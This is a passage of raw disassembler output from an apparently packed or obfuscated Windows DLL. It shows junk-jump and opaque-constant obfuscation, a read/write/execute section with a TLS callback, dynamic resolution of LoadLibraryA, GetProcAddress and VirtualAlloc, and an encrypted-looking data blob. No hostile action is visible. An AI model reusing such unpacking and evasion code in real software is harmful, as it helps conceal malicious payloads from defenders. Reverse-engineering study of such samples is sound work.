FUNCTION CHUNK FOR sub_1001ABFD ; =============== S U B R O U T I N E ======================================= sub_1001DAA8 proc near ; CODE XREF: sub_10018776+7p ; an.kk9rg:1001B0D3j xchg esi, [esp+0] pop esi push ecx mov esp, ebp call sub_10014A06 loc_1001DAB4: ; CODE XREF: sub_10016C77+6F8Ej jmp sub_1001D6A6 sub_1001DAA8 endp ; --------------------------------------------------------------------------- loc_1001DAB9: ; CODE XREF: an.kk9rg:10018169j jmp loc_10018D92 ; --------------------------------------------------------------------------- loc_1001DABE: ; CODE XREF: an.kk9rg:loc_100180B2j jmp loc_100161D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_1001DAC3: ; CODE XREF: sub_1001767A+2CA6j add esi, 93C38009h jmp loc_100155C2 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_1001DACE: ; CODE XREF: an.kk9rg:loc_10018ED3j call sub_1001537B ; START OF FUNCTION CHUNK FOR sub_1001D4E5 loc_1001DAD3: ; CODE XREF: sub_1001D4E5+Aj jmp nullsub_167 ; END OF FUNCTION CHUNK FOR sub_1001D4E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100170BC loc_1001DAD8: ; CODE XREF: sub_100170BC:loc_1001A009j jmp loc_10013550 ; END OF FUNCTION CHUNK FOR sub_100170BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100191F9 loc_1001DADD: ; CODE XREF: sub_100191F9+12j lea eax, [ebp-14h] xor edx, edx call sub_10019030 ; END OF FUNCTION CHUNK FOR sub_100191F9 ; START OF FUNCTION CHUNK FOR sub_1001A3F4 loc_1001DAE7: ; CODE XREF: sub_1001A3F4+Aj mov eax, ds:dword_10019650 push offset sub_1001901C jmp nullsub_168 ; END OF FUNCTION CHUNK FOR sub_1001A3F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A7CF loc_1001DAF6: ; CODE XREF: sub_1001A7CF:loc_1001756Fj rol edi, 9 xor edi, 98B1B500h add edi, 0EAB51666h xchg edi, [esp+4+var_4] jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_1001A7CF ; --------------------------------------------------------------------------- loc_1001DB0D: ; CODE XREF: an.kk9rg:1001476Fj and ebp, edi ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001DB0F: ; CODE XREF: sub_10015B5D:loc_10014758j add ecx, 53D598DDh sub ecx, 161F6D0h add ecx, 0A02AC439h xchg ecx, [esp+0] jmp loc_100177EA ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DB29: ; CODE XREF: sub_10013389+1F70j pop esi loc_1001DB2A: ; CODE XREF: sub_10013389:loc_100152E7j and eax, 0C24515ACh rol eax, 2 xor eax, 0AC30C631h test eax, 400000h jmp loc_1001D452 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001DB44: ; CODE XREF: sub_10019571:loc_10019695j mov ds:dword_1001D754, eax retn ; --------------------------------------------------------------------------- loc_1001DB4B: ; CODE XREF: sub_10019571+1FAFj call sub_1001DB5F loc_1001DB50: ; CODE XREF: sub_1001D913+6j jmp nullsub_169 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001DB55: ; CODE XREF: sub_1001492C+1E36j jmp loc_1001A078 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141F5 loc_1001DB5A: ; CODE XREF: sub_100141F5+6j jmp loc_1001A9FA ; END OF FUNCTION CHUNK FOR sub_100141F5 ; =============== S U B R O U T I N E ======================================= sub_1001DB5F proc near ; CODE XREF: an.kk9rg:100148DAj ; sub_10019571:loc_1001DB4Bp ; FUNCTION CHUNK AT 100187B1 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx rol eax, 0Fh push edx push eax pop edx jmp loc_100187B1 sub_1001DB5F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001DB6E: ; CODE XREF: sub_100180C2+4031j ja loc_1001B220 loc_1001DB74: ; CODE XREF: sub_1001504E:loc_10019F64j push 1D52FE52h pop eax rol eax, 19h jmp loc_1001D8C3 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015276 loc_1001DB82: ; CODE XREF: sub_10015276+14j mov eax, edi pop edi rol eax, 0Bh xor eax, 3CD2CB47h test eax, 1000h jmp loc_100187AC ; END OF FUNCTION CHUNK FOR sub_10015276 ; --------------------------------------------------------------------------- loc_1001DB99: ; CODE XREF: an.kk9rg:10017520j jg loc_1001D7E6 mov edi, 0DFC77377h ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001DBA4: ; CODE XREF: sub_10015066:loc_10017513j add eax, 47E68FD9h add eax, ebp add eax, 0B406ED23h jmp loc_10013BCA ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D201 loc_1001DBB7: ; CODE XREF: sub_1001D201:loc_10018116j xor esi, edi jmp loc_1001CC0C ; END OF FUNCTION CHUNK FOR sub_1001D201 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001558A loc_1001DBBE: ; CODE XREF: sub_1001558A:loc_10019668j mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 jnz loc_10014BC0 mov eax, [ebp-4] jmp loc_10018194 ; END OF FUNCTION CHUNK FOR sub_1001558A ; =============== S U B R O U T I N E ======================================= sub_1001DBDB proc near ; CODE XREF: an.kk9rg:10019F43p ; sub_100181E1+2A09j arg_0 = dword ptr 4 xchg edx, [esp+0] pop edx xchg esi, [esp-4+arg_0] mov ebp, esi pop esi retn sub_1001DBDB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001DBE6: ; CODE XREF: sub_10019409-3977j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_10019409 ; =============== S U B R O U T I N E ======================================= sub_1001DBEB proc near ; CODE XREF: sub_10015868p ; an.kk9rg:loc_10019F38p ... ; FUNCTION CHUNK AT 100176D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B9EA SIZE 00000005 BYTES push ebp jmp loc_1001B9EA sub_1001DBEB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016C77 loc_1001DBF1: ; CODE XREF: sub_10016C77:loc_1001C3F7j pop eax add eax, 0FB1CF378h rol eax, 2 add eax, 53CC0552h popf xchg eax, [esp-4+arg_0] jmp loc_1001DAB4 ; END OF FUNCTION CHUNK FOR sub_10016C77 ; --------------------------------------------------------------------------- loc_1001DC0A: ; CODE XREF: an.kk9rg:10016097j jp loc_100149ED sbb esi, eax jmp sub_100175DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001DC17: ; CODE XREF: sub_1001B956+Fj pop ecx and ecx, ds:100000C9h or ecx, 1C07D24Fh cmp ecx, 55114B53h jmp loc_1001AB1F ; END OF FUNCTION CHUNK FOR sub_1001B956 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100147AF loc_1001DC30: ; CODE XREF: sub_100147AF+80E2j jmp loc_1001371F ; END OF FUNCTION CHUNK FOR sub_100147AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001DC35: ; CODE XREF: sub_1001504E:loc_10019838j jnz loc_100178FF sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_10015AF2 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DC49: ; CODE XREF: sub_10013389+93F0j jno sub_10019B0D push edi loc_1001DC50: ; CODE XREF: sub_10013389:loc_10016388j sub edx, 377585EDh xor edx, 6EF9FD78h add edx, 1E88BCBBh xchg edx, [esp-0Ch+arg_8] jmp loc_10017A94 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- cdq ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001DC6B: ; CODE XREF: sub_10017A58:loc_1001C9C1j jmp sub_1001B956 ; END OF FUNCTION CHUNK FOR sub_10017A58 ; =============== S U B R O U T I N E ======================================= sub_1001DC70 proc near ; DATA XREF: sub_1001DCDB+1o ; FUNCTION CHUNK AT 100145E3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015EA3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001AB24 SIZE 00000005 BYTES push 0F6409FD3h pop eax rol eax, 0Ch add eax, 60477D8h jmp loc_100145E3 sub_1001DC70 endp ; --------------------------------------------------------------------------- test edi, 687DB9A9h jmp loc_100192EB ; =============== S U B R O U T I N E ======================================= sub_1001DC8F proc near ; CODE XREF: sub_100142E8p ; FUNCTION CHUNK AT 10017C74 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnb sub_1001C84C push ebp mov ebp, esp push ecx jmp loc_10017C74 sub_1001DC8F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B1B loc_1001DCA2: ; CODE XREF: sub_10015B1B:loc_1001BCA0j jnz loc_10015B97 jmp loc_10019FD4 ; END OF FUNCTION CHUNK FOR sub_10015B1B ; --------------------------------------------------------------------------- jle loc_100133CB jmp sub_1001886B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001DCB8: ; CODE XREF: sub_10016D04:loc_100193A6j and eax, 0E4295EFFh add eax, 0B7A3CC40h sub eax, 9653CBB3h rol eax, 11h add eax, 5A32820h xchg eax, [esp+4+var_4] jmp loc_10017C1A ; END OF FUNCTION CHUNK FOR sub_10016D04 ; =============== S U B R O U T I N E ======================================= sub_1001DCDB proc near ; DATA XREF: sub_10013389+1D7o ; FUNCTION CHUNK AT 10018566 SIZE 00000005 BYTES pop ebp push offset sub_1001DC70 jmp loc_10018566 sub_1001DCDB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_1001DCE6: ; CODE XREF: sub_100153B8:loc_10019940j xchg eax, [esp+0Ch+var_C] jmp loc_1001B9E5 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017F49 loc_1001DCEE: ; CODE XREF: sub_10017F49:loc_10016EC2j mov ebp, edi pop edi xor eax, eax mov [ebp-4], eax push 41EEA7D9h jmp loc_10018241 ; END OF FUNCTION CHUNK FOR sub_10017F49 ; --------------------------------------------------------------------------- loc_1001DD00: ; DATA XREF: sub_10017667-520o imul byte ptr [edx] cmp al, 0A4h jz loc_100158DB jmp loc_10014A1D ; --------------------------------------------------------------------------- popf jmp sub_1001893F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001924A loc_1001DD15: ; CODE XREF: sub_1001924A+19j xchg eax, [esp-4+arg_0] jmp sub_1001DBEB ; END OF FUNCTION CHUNK FOR sub_1001924A ; =============== S U B R O U T I N E ======================================= sub_1001DD1D proc near ; CODE XREF: an.kk9rg:100143E5j ; sub_100168DF+1p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001376B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018E15 SIZE 00000028 BYTES xchg ecx, [esp+4+var_4] pop ecx jnb loc_10018E33 mov eax, [esp+0] push ebx mov ebx, edx xchg ebx, [esp+4+var_4] call sub_10013372 jmp loc_10018E15 sub_1001DD1D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_204. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001DD3B: ; CODE XREF: an.kk9rg:1001C499j jmp loc_1001C41E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E66 loc_1001DD40: ; CODE XREF: sub_10014E66-84Bj jmp nullsub_207 ; END OF FUNCTION CHUNK FOR sub_10014E66 ; --------------------------------------------------------------------------- locret_1001DD45: ; CODE XREF: an.kk9rg:10018387j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A1E loc_1001DD46: ; CODE XREF: sub_10018A1E+Ej jmp loc_1001C958 ; END OF FUNCTION CHUNK FOR sub_10018A1E ; --------------------------------------------------------------------------- pop ebx jmp sub_1001D2D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001DD51: ; CODE XREF: sub_1001BBDA-827j jl loc_10015113 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_1001DD57: ; CODE XREF: sub_1001BC80-77B0j jmp loc_1001B654 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- xor ebp, esi cmp ebp, esi jmp loc_10015108 ; --------------------------------------------------------------------------- sbb ecx, esi jmp loc_100141B0 ; --------------------------------------------------------------------------- loc_1001DD6C: ; CODE XREF: an.kk9rg:1001AF8Fj jge loc_10015E53 ror edx, 12h ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001DD75: ; CODE XREF: sub_1001B956:loc_1001AF78j add ecx, 0F2E9D143h xchg ecx, [esp+4+var_4] jmp loc_1001A9C1 ; END OF FUNCTION CHUNK FOR sub_1001B956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C14 loc_1001DD83: ; CODE XREF: sub_10015C14+7235j xchg ecx, [esp+8+var_8] jmp loc_10017EC0 ; END OF FUNCTION CHUNK FOR sub_10015C14 ; =============== S U B R O U T I N E ======================================= sub_1001DD8B proc near ; CODE XREF: an.kk9rg:10015612j ; sub_1001D88D:loc_10019BCAp ; FUNCTION CHUNK AT 10018DAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001DEB4 SIZE 00000010 BYTES xchg ebx, [esp+0] pop ebx mov edx, 0A22F8A70h call sub_1001DECE mov ds:dword_10013FE0, eax call sub_100180C2 jmp loc_10018DAF sub_1001DD8B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_1001DDA8: ; CODE XREF: sub_10014F93:loc_100160B5j ; an.kk9rg:100160CEj or edi, 733A6FBCh and edi, 1E59467Ch or edi, 3240653Ch add edi, 286FD6BFh add edi, ebp add edi, 0A536C201h mov [edi], eax jmp loc_10015E48 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- loc_1001DDCF: ; CODE XREF: an.kk9rg:1001AA9Fj jle loc_10015EF7 ; =============== S U B R O U T I N E ======================================= sub_1001DDD5 proc near ; CODE XREF: sub_10015131+786p xchg edi, [esp+0] pop edi test byte ptr [eax-8], 8 setnz al call sub_100182D9 pop ecx mov edx, [ebp+8] jmp loc_1001808E sub_1001DDD5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACA5 loc_1001DDEE: ; CODE XREF: sub_1001ACA5-3054j sub ecx, 4DC7B235h popf loc_1001DDF5: ; CODE XREF: sub_1001ACA5:loc_10017C47j sub ecx, 0CF8F4AAEh xor ecx, 654C7FFDh add ecx, 0CA9FE8FEh jmp loc_1001554D ; END OF FUNCTION CHUNK FOR sub_1001ACA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_1001DE0C: ; CODE XREF: sub_10017394-234Bj jnz loc_1001AF1A adc edx, edi loc_1001DE14: ; CODE XREF: sub_10017394+1207j add edx, 0BF2C8A0Ch call sub_1001534D push ebp mov ebp, eax jmp loc_10014520 ; END OF FUNCTION CHUNK FOR sub_10017394 ; --------------------------------------------------------------------------- loc_1001DE27: ; DATA XREF: sub_10016573:loc_1001371Fo jnz loc_1001A830 pop edx mov eax, [esp] push edx call sub_10014B85 push 15E99FA2h pop eax jmp loc_10018A14 ; --------------------------------------------------------------------------- loc_1001DE42: ; CODE XREF: an.kk9rg:10013296j jnp loc_1001992B ; =============== S U B R O U T I N E ======================================= sub_1001DE48 proc near ; CODE XREF: sub_1001498A+FA5p ; FUNCTION CHUNK AT 100152BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 100162EB SIZE 0000000D BYTES xchg esi, [esp+0] pop esi mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] jmp loc_100162EB sub_1001DE48 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001DE5E: ; CODE XREF: sub_10016D66:loc_100163F0j pop esi sub esi, 45694318h xor esi, 8C96AD3h or esi, 24FA2D3Ch rol esi, 4 add esi, 21F034D2h add eax, esi jmp loc_1001ADA4 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DE81: ; CODE XREF: sub_10013389:loc_1001432Aj cmp ebp, ebx jmp loc_100145CD ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001DE88: ; CODE XREF: an.kk9rg:10019F5Fj mov byte ptr [edx], 0E9h pop edx xchg edi, [esp] jmp nullsub_6 ; --------------------------------------------------------------------------- jmp short loc_1001DEFD ; --------------------------------------------------------------------------- dw 0FF31h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001DE99: ; CODE XREF: sub_1001537B+42A4j jmp loc_100152FE ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- loc_1001DE9E: ; CODE XREF: an.kk9rg:10017AD8j jmp loc_10018093 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014418 loc_1001DEA3: ; CODE XREF: sub_10014418+Bj jmp nullsub_175 ; END OF FUNCTION CHUNK FOR sub_10014418 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 84h, 0CEh, 0E6h dd 0E955FFFFh, 0FFFF6580h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD8B loc_1001DEB4: ; CODE XREF: sub_1001DD8B:loc_10018DAFj mov edx, 0A2CD59D9h call sub_1001DECE mov ds:dword_1001BC9C, eax retn ; END OF FUNCTION CHUNK FOR sub_1001DD8B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DA6D loc_1001DEC4: ; CODE XREF: sub_1001DA6D+6j jmp loc_10017F3F ; END OF FUNCTION CHUNK FOR sub_1001DA6D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001679F loc_1001DEC9: ; CODE XREF: sub_1001679F+39D0j jmp loc_10013748 ; END OF FUNCTION CHUNK FOR sub_1001679F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001DECE proc near ; CODE XREF: sub_100182A3+Ap ; sub_10016B92:loc_1001839Cp ... ; FUNCTION CHUNK AT 1001630E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019DCC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D294 SIZE 0000000A BYTES push ebp mov ebp, esp jno loc_1001D294 jmp loc_10019DCC sub_1001DECE endp ; --------------------------------------------------------------------------- loc_1001DEDC: ; CODE XREF: an.kk9rg:1001C3E7j push ebp cmp ebx, 259CBA82h jmp loc_100174CC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001DEE9: ; CODE XREF: sub_10016167:loc_1001AD46j jz loc_1001AD36 ; END OF FUNCTION CHUNK FOR sub_10016167 ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001DEEF: ; CODE XREF: sub_100136D7:loc_1001372Fj jmp loc_1001AD66 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001DEF5: ; CODE XREF: sub_10013061+9805j jmp loc_1001347E ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- loc_1001DEFA: ; CODE XREF: an.kk9rg:10018DA9j ror ecx, 1Bh loc_1001DEFD: ; CODE XREF: an.kk9rg:10018D98j ; an.kk9rg:1001DE94j add ebx, 98BBAA9Bh mov [ebx], eax pop ebx lea eax, sub_10019D80 jmp loc_100190C9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_194. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001DF12: ; CODE XREF: sub_1001701B:loc_10016F60j ; sub_100177EF+1j jmp loc_1001D8ED ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001456F loc_1001DF17: ; CODE XREF: sub_1001456F:loc_10014AE9j ; sub_10017BF9-2F83j ... jmp loc_10013A50 ; --------------------------------------------------------------------------- loc_1001DF1C: ; CODE XREF: sub_1001456F+688Fj ; sub_10017BF9+3B68j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001456F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001DF1F: ; CODE XREF: sub_1001ABFD-6AD7j jmp loc_1001A376 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_10014629 ; --------------------------------------------------------------------------- loc_1001DF2C: ; CODE XREF: an.kk9rg:10017089j cmp eax, edx jmp loc_10015364 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001DF33: ; CODE XREF: sub_1001B8D3-2470j xchg esi, [esp+0] jmp loc_1001760B ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001DF3B: ; CODE XREF: sub_1001492C+BDAj jz loc_10014E2C sbb ebx, 3A3E31A3h rol eax, 17h pop edx loc_1001DF4B: ; CODE XREF: sub_1001492C:loc_1001A078j push 0B0A0FBE7h pop eax sub eax, 0BCE3103Dh rol eax, 11h jmp loc_1001D44D ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- ror esi, 12h jmp sub_10015712 ; --------------------------------------------------------------------------- db 28h dd 6631E610h, 8E01DD26h, 0BC05E3EDh, 0E6B718h, 22h dup(0) an_kk9rg ends ; Section 8. (virtual address 0001E000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 0001E000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _3a14gzkz segment para public 'CODE' use32 assume cs:_3a14gzkz ;org 1001E000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 0CCh db 0E0h, 1, 0 align 8 dd 0FFFFFFFFh, 1E03Ch, 1E0B4h, 1E108h, 0 dd 0FFFFFFFFh, 1E0E8h, 1E104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_1001E0B4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_1001E0B8 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryAdword_1001E0BC dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_1001E0C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_10027CEA+7r ... dword_1001E0C4 dd 7C809A51h, 7C809AE4h, 1E04Ch, 1E060h, 1E070h, 1E084h ; resolved to->KERNEL32.VirtualAlloc ; DATA XREF: sub_100299B9+1Eo dd 1E094h, 1E0A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_1001E104 dd 7E45058Ah ; resolved to->USER32.MessageBoxA dd 1E0F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: _3a14gzkz:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: _3a14gzkz:TlsCallbacks_ptro dd 0 ; =============== S U B R O U T I N E ======================================= sub_1001E134 proc near ; CODE XREF: _3a14gzkz:1002807Dp push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_1001E13E: ; CODE XREF: sub_1001E134+21j lodsb shr al, 1 cmp al, 74h jnz short loc_1001E154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_1001E154: ; CODE XREF: sub_1001E134+10j dec ecx jg short loc_1001E13E pop ecx pop esi retn sub_1001E134 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset dword_10001000 dd 0A00434Ah, 0 dd 2D770000h, 450020E5h, 49A8C40Bh, 5B0E5707h, 0A05952CBh dd 8A95646Fh, 0D3D01604h, 0C201E102h, 183B15EFh, 6A62662Dh dd 32642304h, 44222411h, 27BE8963h, 72AB9774h, 0DC41F610h dd 0D3FFE90Ch, 43EE38CEh, 2991878Ch, 7B157FDCh, 0FD0D7933h dd 0B1305D2Dh, 0A5DFF99Bh, 0ECB032D7h, 4895AE04h, 14040D74h dd 0CB22849Ah, 818BE049h, 42A5311h, 0E00B29BEh, 2065A242h dd 0CD7745E8h, 2CA797BAh, 2B58978Ah, 6138F948h, 0AA22BBEDh dd 0FF71F0ACh, 0D2040CD7h, 500578EFh, 0DCA8C4h, 68951B71h dd 400D573Ch, 0CD20046Ah, 0D18CB060h, 3F7C7DEDh, 5C56EFE5h dd 0C5C2853Fh, 73257374h, 53976E17h, 0AF806F20h, 84F0B9F1h dd 0AED70AC2h, 0F84EAC64h, 62FF7C6Ch, 7D69933Eh, 98490AA0h dd 0F9C03446h, 0F2CDD17Eh, 4F0021B9h, 68FF5E8Dh, 97FC9E65h dd 4E11EF6Ch, 59676840h, 59C0026Ch, 1BB0528Ch, 0E18DA617h dd 46191AF7h, 0AC809E96h, 0F20DE184h, 0E7A0F5F6h, 1EE25C51h dd 82D28855h, 0C7E2BD0h, 8326DFFCh, 92D80C53h, 0B1907665h dd 348CA01Ah, 967B266Ch, 0D53298B4h, 0E819FFDDh, 784DFC4Eh dd 60C03611h, 5B2C2689h, 0F942C329h, 1E4C009Dh, 929287FAh dd 1638E5Fh, 0D26025DDh, 348E7206h, 9184DA6Ch, 6A0D377Fh dd 16B066F5h, 0CB7D11B1h, 6887C711h, 0B0B21645h, 9BA4DD03h dd 0B0B4334Bh, 48303332h, 6B1F15B8h, 0B6395C41h, 5A89D891h dd 65222828h, 971B2F96h, 3263B826h, 32951090h, 588132EFh dd 0A9C1750h, 4E913581h, 33740A83h, 0A500405Eh, 6FEA3C30h dd 0B953DC69h, 0C1845E12h, 48A43158h, 0CC458A23h, 0CBD96112h dd 460AED16h, 6D9044A1h, 9256DEC3h, 8C5AC0A2h, 0FE28AA6Fh dd 2BEA0914h, 14C42D97h, 0B020767h, 0DE00142Dh, 11263004h dd 1BBB6C9Bh, 1E6F98A2h, 0D228CCA0h, 2A136502h, 0CA6904CAh dd 6C204019h, 0F7F71415h, 8A4416FFh, 5E0F40E6h, 4D720336h dd 0E0AF1384h, 0C5E15169h, 1BB42909h, 2C857486h, 38B6E88Ch dd 74F8E48Ch, 12C6DD95h, 903BCEE9h, 0FCA5544Eh, 78A60205h dd 68DD53BFh, 305DA041h, 783F2269h, 3C322248h, 12528CC8h dd 624990C6h, 0C1D6494Bh, 4446424h, 1BBA4A57h, 118AB9B0h dd 11AC235Ch, 462235Ah, 846A88D6h, 411AC8D5h, 4846A235h dd 5011988Dh, 6C00A223h, 0F784A789h, 15B11E39h, 983F5609h dd 7B2C7FF6h, 96F3EE1Eh, 83E7A7D3h, 0EBFA2457h, 0D6712C90h dd 47779E97h, 15158B0h, 814AFB06h, 256A8C09h, 51E8A152h dd 19581F9Ch, 0A84D15Ch, 190AF7FFh, 4DEA8445h, 0B3BA97A7h dd 0E90BBA52h, 71F82CCAh, 0C97E9F5Fh, 0F05A358Dh, 14B852B8h dd 621B1A59h, 0B64426Ah, 2D954C07h, 0BE222EB5h, 2909A31Fh dd 77F25B10h, 531FB7FDh, 0DAD1C95Eh, 422F7E62h, 346EF5D2h dd 1C4CED41h, 64B53406h, 9FE31169h, 